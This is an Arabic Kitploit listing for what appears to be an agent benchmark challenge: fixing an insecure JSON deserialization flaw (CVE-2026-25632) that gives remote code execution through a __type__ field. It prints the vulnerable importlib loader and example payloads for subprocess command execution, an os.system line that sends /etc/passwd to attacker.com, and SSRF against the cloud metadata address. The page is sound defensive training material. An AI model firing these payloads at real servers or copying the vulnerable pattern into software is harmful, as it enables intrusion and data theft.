Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-25632 — CVE-2026-25632 — إصلاح إلغاء التسلسل غير الآمن لـ JSON المؤدي إلى تنفيذ التعليمات البرمجية عن بُعد | Kitploit
أدوات/GitHubGitHub/lazarus0x1337/cve-2026-25632
التحليل الثابتتحليل الثغرات الأمنيةتحليل الكودالاستغلالأمن الويبالتعلم والتعليممختبرات وتدريب عملي
GitHublazarus0x1337/cve-2026-25632

CVE-2026-25632

CVE-2026-25632 — إصلاح إلغاء التسلسل غير الآمن لـ JSON المؤدي إلى تنفيذ التعليمات البرمجية عن بُعد

عرض المستودع
13منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-25632 — ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) عبر إلغاء تسلسل JSON في REST API (تحدي إصلاح الخلل)

مستوحاة من ثغرة حقيقية عام 2026 (CVSS 10.0، تم استغلالها بنشاط)
استنادًا إلى: CVE-2026-25632 — تنفيذ تعليمات برمجية عن بُعد عبر إلغاء تسلسل JSON غير آمن مدفوع بحقل __type__، اكتُشف في REST API لمحاكاة شبكة المياه EPyT-Flow وكُشف عنه علنًا في أوائل 2026.


خلفية

NovaSim هو إطار عمل محاكاة مبني على Python يعرض REST API للتحكم عن بُعد في التجارب العلمية. ولدعم تسلسل كائنات مرن عبر بيئات عملاء غير متجانسة، أضاف مطوّر مُحمِّل JSON مخصصًا يكتشف حقل __type__ خاصًا ويقوم باستيراد وإنشاء مثيل ديناميكيًا لفئة Python المُشار إليها باستخدام importlib.

تم الكشف عن هذا النمط كثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في مشروع مفتوح المصدر كبير عام 2026. حدد باحثو الأمن أن المهاجم الذي يتحكم في جسم JSON يمكنه بناء سلسلة أدوات (gadget chain) تستهدف أي كائن قابل للاستدعاء في المكتبة القياسية للغة Python — بما في ذلك subprocess.Popen وos.system و وأكثر من 25 أداة SSRF — محققًا اختراقًا كاملاً للخادم بطلب HTTP واحد، .

eval
دون الحاجة إلى مصادقة

مهمتك

لقد حصلت على النسخة الهشة من src/solution.py، والتي تحتوي على نمط إلغاء التسلسل غير الآمن نفسه.

هدفك: إصلاح الثغرة في DeserializationService.load_from_json() بحيث:

  1. يتم إلغاء تسلسل كائنات المحاكاة الشرعية المصرّح بها بشكل صحيح.
  2. أي محاولة لتحميل فئة خارج القائمة المصرّح بها تُثير استثناء SecurityError.
  3. لم يعد حقل __type__ يمكّن من استيراد وحدات عشوائية أو إنشاء مثيلات فئات عشوائية.
  4. تستمر جميع بيانات المحاكاة الصالحة (JSON بدون __type__) في التحميل بشكل طبيعي.

بيان المشكلة التقنية

نمط الشيفرة الهشة (لا تستخدمه)

root@kitploit:~
# DANGEROUS — CVE-2026-25632 pattern
import importlib

def _unsafe_load(data: dict):
    if "__type__" in data:
        module_path, class_name = data["__type__"].rsplit(".", 1)
        module = importlib.import_module(module_path)   # attacker-controlled!
        cls = getattr(module, class_name)               # attacker-controlled!
        return cls(**data.get("args", {}))              # arbitrary code execution!

نواقل الهجوم (من أبحاث أمنية حقيقية)

يرسل المهاجم طلب POST بجسم JSON مصمم بعناية:

الناقل 1 — تنفيذ تعليمات برمجية عن بُعد مباشر عبر subprocess:

root@kitploit:~
{
  "__type__": "subprocess.Popen",
  "args": {"args": ["id"], "shell": true}
}

الناقل 2 — تنفيذ تعليمات برمجية عن بُعد عبر os.system:

root@kitploit:~
{
  "__type__": "os.system",
  "args": {"command": "curl http://attacker.com/exfil?data=$(cat /etc/passwd)"}
}

الناقل 3 — SSRF عبر urllib.request.urlopen:

root@kitploit:~
{
  "__type__": "urllib.request.urlopen",
  "args": {"url": "http://169.254.169.254/latest/meta-data/"}
}

وثّق باحثو الأمن 12 أداة RCE مباشرة و25 أداة SSRF يمكن الوصول إليها بهذه الطريقة عبر المكتبة القياسية للغة Python وحدها.


الأنواع المصرّح بها

الأنواع التالية من كائنات المحاكاة — وهي فقط التالية — قد تُلغى تسلسلاتها عبر __type__:

قيمة __type__فئة Python
simulation.Sensornovasim.models.Sensor
simulation.Actuatornovasim.models.Actuator
simulation.Scenarionovasim.models.Scenario

أي قيمة __type__ أخرى يجب أن تُثير SecurityError فورًا، قبل حدوث أي استيراد أو إنشاء مثيل.


مواصفات الإدخال / الإخراج

الإدخال

كائنات JSON المُرسلة إلى DeserializationService.load_from_json(raw: str) -> dict | SimObject

الإخراج

  • إذا لم يحتوي JSON على مفتاح __type__: أعد dict (JSON مُحلَّل).
  • إذا احتوى JSON على __type__ مصرّح به: أعد مثيل كائن المحاكاة المقابل.
  • إذا احتوى JSON على __type__ غير مصرّح به: أثر SecurityError بالرسالة: "Blocked unsafe type: <type_value>".
  • إذا كان JSON تالفًا: أثر ValueError بالرسالة: "Invalid JSON payload".

الحالات الحدّية / قواعد معالجة الأخطاء

السيناريوالسلوك المتوقع
__type__ غائبتحليل وإرجاع كـ dict عادي
__type__ = "simulation.Sensor"إنشاء مثيل Sensor(**args)
__type__ = "subprocess.Popen"إثارة SecurityError
__type__ = "os.system"إثارة SecurityError
__type__ = "__builtins__.eval"إثارة SecurityError
__type__ = "" (سلسلة فارغة)إثارة SecurityError
__type__ قائمة أو عدد صحيحإثارة SecurityError (حقل نوع غير صالح)
سلسلة JSON تالفةإثارة ValueError
حقول إضافية غير معروفة في كائن صالحمقبولة، تُمرَّر كوسائط kwargs إلى المُنشئ

الملفات

root@kitploit:~
challenge-cve-2026-25632/
├── README.md                   <- You are here
├── Dockerfile                  <- Deterministic build environment
├── src/
│   ├── solution.py             <- BUGGY starter code (your target)
│   ├── solution_fixed.py       <- Reference solution (hidden from agent)
│   └── novasim/
│       ├── __init__.py
│       └── models.py           <- Allowlisted simulation model classes
└── tests/
    └── test_solution.py        <- Test harness (FAILS on buggy, PASSES on fixed)

معايير التحقق

يجب أن يجتاز الإصلاح جميع ما يلي:

  • جميع اختبارات إلغاء التسلسل القياسية الأربعة (الأنواع المصرّح بها، dict عادي بدون نوع)
  • جميع اختبارات حجب نواقل الهجوم الخمسة (subprocess، os، eval، urllib، builtins)
  • جميع اختبارات الحالات الحدّية الثلاثة (نوع فارغ، نوع غير نصي، JSON تالف)
  • لا استدعاءات شبكة خارجية أثناء الاختبارات
  • نتائج حتمية عبر عمليات التشغيل المتكررة

المراجع

  • NVD — CVE-2026-25632
  • نشرة CISA — كتالوج الثغرات المستغلة المعروفة
  • بحث أمني: اكتشاف 79 أداة (Gadget) — MazeHQ، 2026
  • CWE-502: إلغاء تسلسل البيانات غير الموثوقة
تنزيل الأداة